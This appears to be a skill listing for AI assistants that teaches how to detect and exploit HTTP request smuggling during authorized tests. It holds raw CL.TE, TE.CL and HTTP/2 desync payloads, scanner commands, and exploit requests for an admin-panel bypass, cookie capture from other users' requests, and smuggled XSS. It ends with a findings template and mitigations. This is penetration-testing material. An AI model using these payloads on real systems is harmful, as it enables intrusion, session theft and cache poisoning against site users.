Detects and exploits HTTP request smuggling caused by Content-Length/Transfer-Encoding parsing discrepancies between front-end and back-end servers, using Burp Suite Repeater (auto Content-Length disabled), the HTTP Request Smuggler extension, and smuggler.py. Use during authorized tests of multi-tier architectures behind a reverse proxy, load balancer, or CDN to find desync flaws and bypass front-end controls.
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
Detects and exploits HTTP request smuggling caused by Content-Length/Transfer-Encoding parsing discrepancies between front-end and back-end servers, using Burp Suite Repeater (auto Content-Length disabled), the HTTP Request Smuggler extension, and smuggler.py. Use during authorized tests of multi-tier architectures behind a reverse proxy, load balancer, or CDN to find desync flaws and bypass front-end controls.
# Check for HTTP/2 downgrade to HTTP/1.1 on backend
# Many CDNs accept HTTP/2 but forward HTTP/1.1 to origin
Step 2: Test for CL.TE Smuggling
The front-end uses Content-Length, the back-end uses Transfer-Encoding.
# In Burp Suite Repeater, disable "Update Content-Length" option
# Send the following request manually:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
# If vulnerable (CL.TE):
# Front-end reads 13 bytes (Content-Length), forwards entire request
# Back-end reads chunked: "0\r\n\r\n" = end of body
# "SMUGGLED" becomes the start of the next request
# Detection technique: Time-based
# If back-end reads chunked and sees incomplete chunk, it waits:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 4
Transfer-Encoding: chunked
1
A
X
# If response is delayed (~5-10 seconds), CL.TE is likely
Step 3: Test for TE.CL Smuggling
The front-end uses Transfer-Encoding, the back-end uses Content-Length.
# Burp Repeater - disable "Update Content-Length"
POST / HTTP/1.1
Host: target.example.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
# If vulnerable (TE.CL):
# Front-end reads chunked: chunk "SMUGGLED" + final "0"
# Back-end reads 3 bytes of Content-Length: "8\r\n"
# Remaining "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix
# Detection via differential response:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
# Front-end (TE): reads "0\r\n\r\n", sees end
# Back-end (CL): reads 6 bytes "0\r\nX\r\n"
# Next request gets "X" prepended, causing 400/405 errors
Step 4: Use Automated Detection Tools
Run automated scanners to detect smuggling variants.
# Using smuggler.py
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -u "https://target.example.com/" -m GET POST
# Using Burp HTTP Request Smuggler extension# 1. Install from BApp Store: "HTTP Request Smuggler"# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe# 3. Check Scanner > Issue Activity for results# Using h2csmuggler for HTTP/2 smuggling# git clone https://github.com/BishopFox/h2cSmuggler.git
python3 h2csmuggler.py -x "https://target.example.com/" \
"https://target.example.com/admin"# Manual detection with Turbo Intruder# Send paired requests with different timing# First request: smuggling prefix# Second request: normal request that gets affected
Step 5: Exploit Request Smuggling for Impact
Leverage confirmed smuggling for practical attacks.
# Attack 1: Bypass front-end access controls
# Access /admin which is blocked by the front-end proxy
# CL.TE exploit:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 56
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.example.com
Foo: x
# The smuggled "GET /admin" request bypasses front-end restrictions
# because it's processed by the back-end directly
# Attack 2: Capture other users' requests
# Smuggle a request that stores the next user's request in a visible location
POST / HTTP/1.1
Host: target.example.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /api/comments HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
body=
# The next legitimate user's request gets appended to "body="
# and stored as a comment, exposing their cookies and headers
# Attack 3: Reflected XSS escalation
# Smuggle a request that will reflect XSS in the next response
POST / HTTP/1.1
Host: target.example.com
Content-Length: 150
Transfer-Encoding: chunked
0
GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.example.com
Content-Length: 10
Foo: x
# Next user receives the XSS response instead of their expected response
Step 6: Test HTTP/2 Request Smuggling
Assess HTTP/2 specific smuggling vectors.
# HTTP/2 smuggling via CRLF injection in headers
# HTTP/2 should reject \r\n in header values, but some proxies don't
# H2.CL smuggling: HTTP/2 front-end, Content-Length on back-end
# Send HTTP/2 request with mismatched :path and content
# Using Burp Suite with HTTP/2 support:
# 1. Enable HTTP/2 in Repeater: Inspector > HTTP/2
# 2. Craft request with conflicting CL header
# HTTP/2 header injection
# Add: Transfer-Encoding: chunked via HTTP/2 pseudo-header
# Some front-ends strip TE from HTTP/1.1 but not from HTTP/2
# Test HTTP/2 request tunneling
# If front-end reuses HTTP/2 connections for multiple users:
# Poison the connection to affect subsequent requests
# H2.TE smuggling via HTTP/2 CONNECT
# Use CONNECT method in HTTP/2 to establish tunnels
# that bypass front-end security controls
High-speed request engine for time-sensitive smuggling tests
curl
Manual HTTP request crafting with precise byte control
Common Scenarios
Scenario 1: Admin Panel Access Bypass
The front-end proxy blocks /admin requests. A CL.TE smuggling attack prepends GET /admin to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.
Scenario 2: Cookie Theft via Request Capture
A TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.
Scenario 3: Cache Poisoning via Smuggling
A smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.
Scenario 4: HTTP/2 Desync on CDN
The CDN accepts HTTP/2 and downgrades to HTTP/1.1 for the origin. A header injection via HTTP/2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.
Output Format
## HTTP Request Smuggling Finding
**Vulnerability**: CL.TE HTTP Request Smuggling
**Severity**: Critical (CVSS 9.1)
**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)
**OWASP Category**: A05:2021 - Security Misconfiguration
### Architecture
Front-end: Cloudflare (Content-Length priority)
Back-end: Gunicorn (Transfer-Encoding priority)
Protocol: HTTP/1.1 between proxy and origin
### Reproduction Steps
1. Send POST request with both Content-Length and Transfer-Encoding headers
2. Content-Length set to include smuggled request prefix
3. Transfer-Encoding: chunked with "0\r\n\r\n" ending body
4. Smuggled data becomes prefix of next back-end request
### Confirmed Exploits
| Exploit | Impact |
|---------|--------|
| Admin bypass | Accessed /admin without authentication |
| Request capture | Stole session cookies from other users |
| XSS escalation | Delivered reflected XSS to arbitrary users |
| Cache poisoning | Poisoned CDN cache with malicious response |
### Recommendation
1. Ensure front-end and back-end use the same HTTP parsing behavior
2. Reject ambiguous requests with both Content-Length and Transfer-Encoding
3. Upgrade to HTTP/2 end-to-end (no protocol downgrade)
4. Use HTTP/2 between proxy and origin server
5. Normalize requests at the front-end before forwarding
